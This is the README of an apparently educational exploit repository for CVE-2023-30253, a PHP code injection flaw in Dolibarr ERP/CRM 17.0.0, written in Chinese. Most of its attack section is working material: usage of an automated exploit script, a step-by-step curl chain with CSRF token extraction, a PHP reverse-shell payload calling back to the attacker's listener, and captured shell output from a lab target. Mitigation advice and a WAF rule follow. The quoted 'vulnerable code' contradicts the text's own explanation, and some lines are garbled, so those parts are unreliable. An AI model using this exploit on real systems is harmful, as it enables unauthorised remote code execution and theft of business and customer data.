
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE 通过 PHP 代码注入(教育性漏洞利用)
针对 Dolibarr ERP/CRM v17.0.0 的 PHP 代码注入利用程序,允许通过 Website/CMS 模块以 www-data 用户身份获得 反向 shell。
⚠️ 仅限教育用途和授权审计。
CVE-2023-30253 是 Dolibarr ERP/CRM 版本低于 17.0.1 中的一个 PHP 代码注入漏洞(CWE-94:代码生成控制不当)。
该漏洞由 Swascan(现为 Hacktivesecurity)团队于 2023 年 5 月发现并报告。漏洞存在于 Website/CMS 模块中,该模块允许经过身份验证的用户在 Dolibarr 内创建和管理网站。
Dolibarr 实现了一个过滤器,以防止用户在 Website 模块的页面内容中注入 PHP 代码。然而,此过滤器有一个 关键缺陷:它是 区分大小写的。
// Dolibarr 17.0.0 中易受攻击的代码(简化)
if (preg_match('/<\?php/i', $content)) {
// 仅阻塞小写的 "<?php"... 真的吗?
die("检测到 PHP 代码!");
}
过滤器严格寻找小写字符串 <?php。但 PHP 允许 任何大小写组合 作为开始标签。这意味着:
利用程序使用 <?PHP(大写)绕过过滤器,但任何变体都有效。
此外,过滤器仅在 保存 内容时应用。在 提供 页面时,Dolibarr 将内容直接传递给 PHP 解释器而不进行额外清理,PHP 会执行任何带有 <? 开始标签的代码。
经过身份验证的攻击者可以:
/etc/passwd、配置)为何严重? Dolibarr 被用作企业 ERP/CRM。入侵可能暴露客户数据、财务信息、合同和内部凭证。
该利用程序自动完成 5 个步骤 的完整利用过程:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. 登录 → 在 Dolibarr 中验证身份 │
│ 2. 创建网站 → 创建一个空网站 │
│ 3. 创建页面 → 在网站中创建一个页面 │
│ 4. 注入 Shell → 注入 PHP 反向 shell │
│ 5. 触发 → 执行 payload │
│ │
│ 结果:🎯 以 www-data 身份获得反向 shell │
└─────────────────────────────────────────────────────────┘
特点:
pageidfsockopen + proc_open 实现反向 shell payloadrequestsbeautifulsoup4或直接:
pip install -r requirements.txt
# 克隆仓库
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# 安装依赖
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [选项]
位置参数:
选项:
| 选项 | 描述 |
|---|---|
-v, --verbose | 显示详细的调试信息 |
--no-color | 禁用彩色输出 |
-h, --help | 显示帮助和示例 |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
目标: http://crm.board.htb
用户: admin
LHOST: 10.10.14.5
LPORT: 4444
站点 ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] 步骤 1/5: 正在登录...
[10:45:12] ✓ 会话已成功建立
[10:45:13] 步骤 2/5: 正在创建网站...
[10:45:13] ✓ 网站 's3a1f2bc' 已创建
[10:45:13] 步骤 3/5: 正在页面中创建页面...
[10:45:13] ✓ 页面已在网站内创建
[10:45:14] 步骤 4/5: 正在注入反向 shell → 10.10.14.5:4444...
[10:45:14] ✓ PHP 代码已成功注入
[10:45:14] 步骤 5/5: 正在执行 payload(触发)...
════════════════════════════════════════════════════════
利用完成
════════════════════════════════════════════════════════
触发 URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
说明:
1. 在另一个终端中,启动监听器:
nc -lvnp 4444
2. 访问触发 URL(利用程序已自动执行)
3. 你将收到以 www-data 用户身份的反向 shell
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
如果你希望手动理解该过程(不使用脚本),以下是完整流程:
# 获取 cookie 和 CSRF 令牌
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# 提取令牌
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# 登录
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ 经验教训: 正确的
action参数是addsite,而非一些公开利用程序中出现的add。
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 攻击关键: 正确的字段是
PAGE_CONTENT,而非WEBSITE_CONTENT。许多公开的 PoC 存在此错误。
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
为了保护 Dolibarr 服务器免受此漏洞攻击:
# 升级到 Dolibarr 17.0.1 或更高版本
# 补丁修复了过滤器,使其能检测任何 `<?php` 变体
如果你不使用 Website/CMS 模块,请从以下路径禁用它:
首页 → 设置 → 模块 → Website → 禁用
# 阻止 PAGE_CONTENT 字段中任何 PHP 标签变体
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP 注入被阻止'"
本项目创建的目的是 教育以及网络安全研究。未经明确授权对系统使用此利用程序是非法的,且在道德上应受谴责。
作为一名网络安全专业人士,我坚定支持:
由 Jean Carlos 创建
网络安全学生 | 渗透测试 | CTF 玩家
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| 字段 | 值 |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8(高) |
| 向量 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 类型 | CWE-94 — 代码注入 |
| 受影响软件 | Dolibarr ERP/CRM < 17.0.1 |
| 权限 | 经过身份验证的用户(任何角色) |
| 补丁 | Dolibarr 17.0.1 — 提交 4f6055c |
| 标签 | 是否被过滤? | PHP 是否执行? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| 参数 | 描述 | 示例 |
|---|
target | Dolibarr 的基础 URL | http://crm.board.htb |
username | Dolibarr 用户名 | admin |
password | Dolibarr 密码 | admin |
lhost | 你的 IP(接收 shell 的地址) | 10.10.14.5 |
lport | 你的端口(接收 shell 的端口) | 4444 |